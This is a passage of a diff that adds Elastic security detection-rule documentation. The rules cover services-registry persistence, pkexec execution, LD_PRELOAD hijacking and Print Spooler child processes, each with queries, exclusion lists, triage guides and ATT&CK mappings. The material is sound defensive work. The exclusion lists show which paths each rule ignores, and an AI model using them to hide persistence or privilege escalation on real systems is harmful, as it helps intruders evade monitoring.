+ +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-persistence-via-services-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-persistence-via-services-registry.asciidoc new file mode 100644 index 0000000000..f1c6807375 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-persistence-via-services-registry.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-34-unusual-persistence-via-services-registry]] +=== Unusual Persistence via Services Registry + +Identifies processes modifying the services registry key directly, instead of through the expected Windows APIs. This could be an indication of an adversary attempting to stealthily persist through abnormal service creation or modification of an existing service. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Persistence via Services Registry* + + +Windows services are crucial for running background processes. Adversaries may exploit this by directly altering service registry keys to maintain persistence, bypassing standard APIs. The detection rule identifies such anomalies by monitoring changes to specific registry paths and filtering out legitimate processes, thus highlighting potential unauthorized service modifications indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the specific registry paths and values that triggered the alert, focusing on "ServiceDLL" and "ImagePath" within the specified registry paths to identify any unauthorized or suspicious modifications. +- Examine the process responsible for the registry change, paying attention to the process name and executable path, to determine if it is a known legitimate process or potentially malicious. +- Cross-reference the process executable path against the list of known legitimate paths excluded in the query to ensure it is not a false positive. +- Investigate the historical behavior of the process and any associated files or network activity to identify patterns indicative of malicious intent or persistence mechanisms. +- Check for any recent changes or anomalies in the system's service configurations that could correlate with the registry modifications, indicating potential unauthorized service creation or alteration. +- Consult threat intelligence sources or databases to determine if the process or registry changes are associated with known malware or adversary techniques. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify service registry keys directly. Users can create exceptions for known software update processes by excluding their executables from the detection rule. +- System maintenance tools like Process Explorer may trigger false positives when they interact with service registry keys. Exclude these tools by adding their process names and paths to the exception list. +- Drivers installed by trusted hardware peripherals might alter service registry keys. Users should identify and exclude these driver paths if they are known to be safe and frequently updated. +- Custom enterprise applications that require direct registry modifications for service management can be excluded by specifying their executable paths in the rule exceptions. +- Regular system processes such as svchost.exe or services.exe are already excluded, but ensure any custom scripts or automation tools that mimic these processes are also accounted for in the exceptions. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are not part of legitimate applications or services. +- Restore the modified registry keys to their original state using a known good backup or by manually correcting the entries to ensure the integrity of the service configurations. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious software or artifacts. +- Review and update endpoint protection policies to ensure that similar unauthorized registry modifications are detected and blocked in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Document the incident details, including the steps taken for containment and remediation, to enhance future response efforts and update threat intelligence databases. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings != null and registry.value : ("ServiceDLL", "ImagePath") and + registry.path : ( + "HKLM\\SYSTEM\\ControlSet*\\Services\\*\\ServiceDLL", + "HKLM\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath", + "\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ServiceDLL", + "\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath", + "MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ServiceDLL", + "MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath" + ) and not registry.data.strings : ( + "?:\\windows\\system32\\Drivers\\*.sys", + "\\SystemRoot\\System32\\drivers\\*.sys", + "\\??\\?:\\Windows\\system32\\Drivers\\*.SYS", + "\\??\\?:\\Windows\\syswow64\\*.sys", + "system32\\DRIVERS\\USBSTOR", + "system32\\drivers\\*.sys", + "C:\\WindowsAzure\\GuestAgent*.exe", + "\"C:\\Program Files\\Common Files\\McAfee\\*", + "C:\\Program Files (x86)\\VERITAS\\VxPBX\\bin\\pbx_exchange.exe", + "\"C:\\Program Files (x86)\\VERITAS\\VxPBX\\bin\\pbx_exchange.exe\"", + "\"C:\\ProgramData\\McAfee\\Agent\\Current\\*") and + not (process.name : "procexp??.exe" and registry.data.strings : "?:\\*\\procexp*.sys") and + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\winsxs\\*\\TiWorker.exe", + "?:\\Windows\\System32\\drvinst.exe", + "?:\\Windows\\System32\\services.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\regsvr32.exe", + "?:\\Windows\\System32\\WaaSMedicAgent.exe", + "?:\\Windows\\UUS\\amd64\\WaaSMedicAgent.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services Registry Permissions Weakness +** ID: T1574.011 +** Reference URL: https://attack.mitre.org/techniques/T1574/011/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-pkexec-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-pkexec-execution.asciidoc new file mode 100644 index 0000000000..0e98da5abf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-pkexec-execution.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-34-unusual-pkexec-execution]] +=== Unusual Pkexec Execution + +This rule detects the execution of the `pkexec` command by a shell process. The `pkexec` command is used to execute programs as another user, typically as the superuser. Through the `new_terms` rule type, unusual executions of `pkexec` are identified, and may indicate an attempt to escalate privileges or perform unauthorized actions on the system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Pkexec Execution* + + +`Pkexec` is a command-line utility in Linux environments that allows users to execute commands as another user, often with elevated privileges. Adversaries may exploit `pkexec` to escalate privileges or execute unauthorized actions by invoking it through shell processes. The detection rule identifies atypical `pkexec` executions initiated by common shell interpreters, flagging potential misuse by monitoring specific process attributes and execution patterns. + + +*Possible investigation steps* + + +- Review the process tree to understand the context of the pkexec execution, focusing on the parent process names such as bash, dash, sh, tcsh, csh, zsh, ksh, or fish, as these are indicative of shell-based invocations. +- Examine the command-line arguments passed to pkexec to determine the intended action and assess whether it aligns with expected administrative tasks or appears suspicious. +- Check the user account associated with the pkexec execution to verify if the account has legitimate reasons to perform such actions, and investigate any anomalies in user behavior or account activity. +- Investigate the timing and frequency of the pkexec executions to identify patterns or correlations with other suspicious activities or known attack timelines. +- Cross-reference the alert with other security logs and alerts from data sources like Elastic Endgame, Elastic Defend, Crowdstrike, or SentinelOne to gather additional context and corroborate findings. +- Assess the system's current state for signs of compromise, such as unauthorized changes, unexpected network connections, or the presence of known malicious files or processes. + + +*False positive analysis* + + +- Routine administrative tasks: System administrators may use pkexec for legitimate purposes, such as performing maintenance tasks. To handle this, create exceptions for known administrator accounts or specific maintenance scripts that regularly invoke pkexec. +- Automated scripts: Some automated scripts or cron jobs might use pkexec to perform scheduled tasks. Identify these scripts and exclude their specific process names or paths from the rule to prevent false alerts. +- Software updates: Certain software update processes might use pkexec to apply patches or updates. Monitor and document these processes, then configure exceptions for recognized update mechanisms. +- Development environments: Developers might use pkexec during testing or development. Establish a list of development machines or user accounts and exclude them from the rule to reduce noise. +- Custom user applications: Users may have custom applications that require pkexec for legitimate functionality. Review these applications and whitelist their specific execution patterns to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious `pkexec` processes identified by the alert to halt unauthorized actions or privilege escalation attempts. +- Review and analyze the parent shell process and its command history to understand the context and origin of the `pkexec` execution. +- Reset credentials and review permissions for the user accounts involved to mitigate any unauthorized access or privilege escalation. +- Conduct a thorough scan of the affected system for additional indicators of compromise or persistence mechanisms that may have been deployed. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Update and enhance monitoring rules to detect similar `pkexec` misuse attempts in the future, ensuring comprehensive coverage of shell processes and privilege escalation activities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and +event.action:(exec or exec_event or start or ProcessRollup2) and process.name:pkexec and +process.args:pkexec and process.parent.name:(bash or dash or sh or tcsh or csh or zsh or ksh or fish) and +not ( + process.args:( + "/usr/libexec/gvfsd-admin" or "udevadm" or "/opt/forticlient/stop-forticlient.sh" or "/usr/bin/gparted" or + "dpkg" or "/usr/sbin/gparted" or "input-remapper-control" or "/usr/lib/ubuntu-release-upgrader/do-partial-upgrade" + ) or + process.parent.command_line:*/home/*/.claude/shell-snapshots/* or + process.parent.args:"/usr/bin/timeshift-launcher" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-preload-environment-variable-process-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-preload-environment-variable-process-execution.asciidoc new file mode 100644 index 0000000000..6a7005d718 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-preload-environment-variable-process-execution.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-unusual-preload-environment-variable-process-execution]] +=== Unusual Preload Environment Variable Process Execution + +This rule detects processes that are executed with environment variables that are not commonly used. This could indicate an attacker is attempting to hijack the execution flow of a process by loading malicious libraries or binaries into the process memory space. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Preload Environment Variable Process Execution* + + +In Linux environments, preload environment variables can dictate which libraries are loaded into a process, potentially altering its behavior. Adversaries exploit this by injecting malicious libraries to hijack execution flow, achieving persistence or evasion. The detection rule identifies atypical environment variables during process execution, signaling potential misuse by attackers. + + +*Possible investigation steps* + + +- Review the process details associated with the alert, focusing on the process name, command line, and any unusual environment variables listed in process.env_vars. +- Investigate the parent process to understand the context of how the process was initiated and whether it aligns with expected behavior. +- Check the history of the process and its associated user account to identify any recent changes or suspicious activities that might indicate compromise. +- Analyze the libraries or binaries specified in the environment variables to determine if they are legitimate or potentially malicious. +- Cross-reference the process and environment variables with known threat intelligence sources to identify any matches with known malicious activity. +- Examine system logs and other related alerts around the same timeframe to identify any correlated or supporting evidence of malicious activity. + + +*False positive analysis* + + +- Development and testing environments often use custom preload variables to test new libraries, which can trigger false positives. Users should identify and whitelist these known variables to prevent unnecessary alerts. +- Some legitimate software applications may use uncommon preload environment variables for performance optimization or compatibility reasons. Users can create exceptions for these applications by verifying their source and behavior. +- System administrators might employ preload variables for system tuning or debugging purposes. Documenting and excluding these specific cases can help reduce false positives. +- Security tools and monitoring solutions might use preload variables as part of their operation. Ensure these tools are recognized and excluded from triggering alerts by maintaining an updated list of their known behaviors. +- Regularly review and update the list of excluded variables and processes to adapt to changes in the environment and software updates, ensuring that only non-threatening behaviors are excluded. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified with unusual preload environment variables to halt potential malicious execution. +- Conduct a thorough review of the affected system's environment variables and loaded libraries to identify and remove any unauthorized or malicious entries. +- Restore the affected system from a known good backup to ensure all malicious modifications are removed. +- Update and patch the system to the latest security standards to mitigate vulnerabilities that could be exploited for similar attacks. +- Monitor the network and system logs for any signs of re-infection or similar suspicious activity, focusing on process execution patterns. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "LD_PRELOAD,LD_LIBRARY_PATH". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and process.env_vars:* and +not ( + process.parent.executable:(/snap/* or "/opt/infraonagent/infraonwindowsagent" or "/worker/Capa/capa") or + process.parent.name:"cmk-update-agent" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-print-spooler-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-print-spooler-child-process.asciidoc new file mode 100644 index 0000000000..8e037a05cb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-print-spooler-child-process.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-unusual-print-spooler-child-process]] +=== Unusual Print Spooler Child Process + +Detects unusual Print Spooler service (spoolsv.exe) child processes. This may indicate an attempt to exploit privilege escalation vulnerabilities related to the Printing Service on Windows. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* endgame-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Print Spooler Child Process* + + +The Print Spooler service, integral to Windows environments, manages print jobs and interactions with printers. Adversaries may exploit vulnerabilities in this service to escalate privileges, gaining unauthorized access or control. The detection rule identifies suspicious child processes spawned by the Print Spooler, excluding known legitimate processes, to flag potential exploitation attempts, focusing on unusual command lines and integrity levels. + + +*Possible investigation steps* + + +- Review the process details to identify the unusual child process spawned by spoolsv.exe, focusing on the process name and command line arguments to understand its purpose and potential malicious intent. +- Check the integrity level of the process using the fields process.Ext.token.integrity_level_name or winlog.event_data.IntegrityLevel to confirm if it is running with elevated privileges, which could indicate an exploitation attempt. +- Investigate the parent-child relationship by examining the process tree to determine if there are any other suspicious processes associated with the same parent process, spoolsv.exe. +- Cross-reference the process executable path against known legitimate software paths to ensure it is not a false positive, especially if the executable is not listed in the exclusion paths. +- Analyze recent system logs and security events around the time of the alert to identify any other anomalous activities or patterns that could be related to the potential exploitation attempt. +- If the process is confirmed suspicious, isolate the affected system to prevent further exploitation and conduct a deeper forensic analysis to understand the scope and impact of the incident. + + +*False positive analysis* + + +- Legitimate print-related processes like splwow64.exe, PDFCreator.exe, and acrodist.exe may trigger alerts. These are excluded in the rule to prevent false positives. +- System processes such as msiexec.exe, route.exe, and WerFault.exe are known to be legitimate child processes of the Print Spooler and are excluded to reduce false alerts. +- Commands involving net.exe for starting or stopping services are common in administrative tasks and are excluded to avoid unnecessary alerts. +- Command-line operations involving cmd.exe or powershell.exe that reference .spl files or system paths are often legitimate and are excluded to minimize false positives. +- Network configuration changes using netsh.exe, such as adding port openings or rules, are typical in network management and are excluded to prevent false alerts. +- Registration of PrintConfig.dll via regsvr32.exe is a known legitimate operation and is excluded to avoid false positives. +- Executables from known paths like CutePDF Writer and GPLGS are excluded to prevent alerts from common, non-threatening applications. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious child processes spawned by the Print Spooler service that do not match known legitimate processes or command lines. +- Conduct a thorough review of the system's security logs to identify any unauthorized access or privilege escalation attempts related to the Print Spooler service. +- Apply the latest security patches and updates to the Windows operating system and specifically to the Print Spooler service to mitigate known vulnerabilities. +- Restore the system from a clean backup if any unauthorized changes or malicious activities are confirmed. +- Monitor the system closely for any recurrence of similar suspicious activities, ensuring enhanced logging and alerting are in place for spoolsv.exe and its child processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "spoolsv.exe" and process.command_line != null and + (?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") and + + /* exclusions for FP control below */ + not process.name : ("splwow64.exe", "PDFCreator.exe", "acrodist.exe", "spoolsv.exe", "msiexec.exe", "route.exe", "WerFault.exe") and + not process.command_line : "*\\WINDOWS\\system32\\spool\\DRIVERS*" and + not (process.name : "net.exe" and process.command_line : ("*stop*", "*start*")) and + not (process.name : ("cmd.exe", "powershell.exe") and process.command_line : ("*.spl*", "*\\program files*", "*route add*")) and + not (process.name : "netsh.exe" and process.command_line : ("*add portopening*", "*rule name*")) and + not (process.name : "regsvr32.exe" and process.command_line : "*PrintConfig.dll*") and + not process.executable : ( + "?:\\Program Files (x86)\\CutePDF Writer\\CPWriter2.exe", + "?:\\Program Files (x86)\\GPLGS\\gswin32c.exe", + "?:\\Program Files (x86)\\Acro Software\\CutePDF Writer\\CPWSave.exe", + "?:\\Program Files (x86)\\Acro Software\\CutePDF Writer\\CPWriter2.exe", + "?:\\Program Files (x86)\\CutePDF Writer\\CPWSave.exe", + "?:\\Program Files (x86)\\TSplus\\UniversalPrinter\\CPWriter2.exe", + "?:\\Program Files\\Seagull\\Printer Drivers\\Packages\\*\\DriverEnvironmentSetup.exe", + "?:\\Windows\\system32\\CNAB4RPD.EXE", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Program Files (x86)\\CutePDF Writer\\CPWriter2.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\GPLGS\\gswin32c.exe", + "\\Device\\HarddiskVolume*\\Program 